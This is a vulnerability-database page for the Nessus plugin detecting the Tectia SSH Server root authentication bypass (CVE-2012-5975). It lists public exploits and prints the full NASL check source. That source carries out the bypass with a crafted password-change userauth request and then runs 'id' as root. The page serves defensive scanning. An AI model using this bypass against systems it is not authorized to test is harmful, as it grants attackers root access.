Tectia SSH Server Authentication Bypass - Nessus

Critical   Plugin ID: 63156

This page contains detailed information about the Tectia SSH Server Authentication Bypass Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
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Plugin Overview

ID: 63156
Name: Tectia SSH Server Authentication Bypass
Filename: ssh_tectia_server_auth_bypass.nasl
Vulnerability Published: 2012-12-01
This Plugin Published: 2012-12-05
Last Modification Time: 2020-06-12
Plugin Version: 1.16
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: os_fingerprint.nasl, ssh_detect.nasl
Excluded KB Items [?]: global_settings/supplied_logins_only

Vulnerability Information

Severity: Critical
Vulnerability Published: 2012-12-01
Patch Published: N/A
CVE [?]: CVE-2012-5975
CPE [?]: cpe:/a:ssh:tectia_server

Synopsis

An SSH server running on the remote host is affected by an authentication bypass vulnerability.

Description

The version of Tectia SSH Server running on the remote host is affected by an authentication bypass vulnerability. A remote, unauthenticated attacker can bypass authentication by sending a specially crafted request, allowing the attacker to authenticate as root.

The software is only vulnerable when running on Unix or Unix-like operating systems.

Solution

Disable password authentication in the ssh-server-config.xml configuration file (this file needs to be created if it does not already exist). Refer to the vendor's advisory for more information.

Public Exploits

Target Network Port(s): 22
Target Asset(s): Services/ssh
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Tectia SSH Server Authentication Bypass vulnerability:

  1. Metasploit: exploit/unix/ssh/tectia_passwd_changereq
    [Tectia SSH USERAUTH Change Request Password Reset Vulnerability]
  2. Exploit-DB: exploits/linux/remote/23082.txt
    [EDB-23082: (SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication Bypass]
  3. GitHub: https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/23082.zip
    [EDB-23082]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2012-5975
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:7.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.1 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.1 (Critical)

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Plugin Source

This is the ssh_tectia_server_auth_bypass.nasl nessus plugin source code. This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof. 

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63156);
  script_version("1.16");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2012-5975");
  script_bugtraq_id(56783);
  script_xref(name:"EDB-ID", value:"23082");

  script_name(english:"Tectia SSH Server Authentication Bypass");
  script_summary(english:"Tries to bypass auth and run a command");

  script_set_attribute(attribute:"synopsis", value:
"An SSH server running on the remote host is affected by an
authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Tectia SSH Server running on the remote host is
affected by an authentication bypass vulnerability.  A remote,
unauthenticated attacker can bypass authentication by sending a
specially crafted request, allowing the attacker to authenticate as
root. 

The software is only vulnerable when running on Unix or Unix-like
operating systems.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/12");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/64");
  # http://answers.tectia.com/questions/2178/can-i-have-info-about-ssh-remote-bypass-vulnerability
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7b7686fa");
  script_set_attribute(attribute:"solution", value:
"Disable password authentication in the ssh-server-config.xml
configuration file (this file needs to be created if it does not
already exist).  Refer to the vendor's advisory for more information.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5975");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Tectia SSH USERAUTH Change Request Password Reset Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/12/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/05");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ssh:tectia_server");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl", "os_fingerprint.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ssh", 22);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('ssh_func.inc');
include("data_protection.inc");

checking_default_account_dont_report = TRUE;

disable_ssh_wrappers();
user = 'root';

# Unless paranoid, before making any requests, make sure
# the host is not running Windows (reportedly not affected)...
if (report_paranoia < 2 && os = get_kb_item('Host/OS'))
{
  if ('Windows' >< os)
    audit(AUDIT_HOST_NOT, 'Unix/Linux');
}

port = get_service(svc:'ssh', default:22, exit_on_fail:TRUE);

# ...and make sure the SSH service looks like ssh tectia server
if (report_paranoia < 2 && banner = get_kb_item("SSH/banner/" + port))
{
  if ('SSH Tectia Server' >!< banner)
    audit(AUDIT_NOT_LISTEN, 'Tectia SSH Server', port);
}
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# the workaround is to disable password auth. if it's not advertised,
# there's no point in attempting the exploit
authtypes = get_kb_item('SSH/supportedauth/' + port);
if (!isnull(authtypes))
{
  password_auth = FALSE;

  foreach authtype (split(authtypes, sep:',', keep:FALSE))
  {
    if (authtype == 'password')
      password_auth = TRUE;
  }

  if (!password_auth)
    audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
}

if (!get_port_state(port))
  audit(AUDIT_PORT_CLOSED, port);

_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket)
  audit(AUDIT_SOCK_FAIL, port);

# initialization
init();
server_version = ssh_exchange_identification();
if (!server_version)
  audit(AUDIT_FN_FAIL, 'ssh_exchange_identification');

_ssh_server_version = server_version;

# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
  audit(AUDIT_FN_FAIL, 'ssh_kex2');

payload = putstring(buffer:"ssh-userauth");
send_ssh_packet(payload:payload, code:raw_string(0x05));

payload = recv_ssh_packet();
if (ord(payload[0]) != 6)
  audit(AUDIT_RESP_BAD, port, 'SSH2_MSG_SERVICE_REQUEST');

# SSH_MSG_USERAUTH_REQUEST
# http://www.ietf.org/rfc/rfc4252.txt page 10
payload =
  putstring(buffer:user) +
  putstring(buffer:"ssh-connection") +
  putstring(buffer:"password") +
  raw_int8(i:1) +
  putstring(buffer:'') +
  putstring(buffer:'');
send_ssh_packet(payload:payload, code:raw_int8(i:50));

# a response of SSH_MSG_USERAUTH_SUCCESS indicates authentication succeeded.
# otherwise, the system probably isn't vulnerable
payload = recv_ssh_packet();
if (ord(payload[0]) != 52)
  audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);

output = ssh_cmd(cmd:'id', nosh:TRUE, nosudo:TRUE);
if ('uid=' >!< output)
  audit(AUDIT_RESP_BAD, port, 'id');

if (report_verbosity > 0)
{
  report = '\nNessus bypassed authentication and executed "id", which returned :\n\n' + 
    data_protection::sanitize_uid(output:output);
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/ssh_tectia_server_auth_bypass.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\ssh_tectia_server_auth_bypass.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/ssh_tectia_server_auth_bypass.nasl

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How to Run

Here is how to run the Tectia SSH Server Authentication Bypass as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Gain a shell remotely plugin family.
  6. On the right side table select Tectia SSH Server Authentication Bypass plugin ID 63156.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ssh_tectia_server_auth_bypass.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ssh_tectia_server_auth_bypass.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ssh_tectia_server_auth_bypass.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ssh_tectia_server_auth_bypass.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 32320 - Weak Debian OpenSSH Keys in ~/.ssh/authorized_keys
  • 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
  • 73920 - SSH Static Key Accepted
  • 70658 - SSH Server CBC Mode Ciphers Enabled
  • 10607 - SSH CRC-32 Compensation Attack Remote Overflow
  • 86328 - SSH Diffie-Hellman Modulus <= 1024 Bits (Logjam)
  • 11195 - SSH Multiple Remote Vulnerabilities

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ssh_tectia_server_auth_bypass.nasl version 1.16. For more plugins, visit the Nessus Plugin Library.

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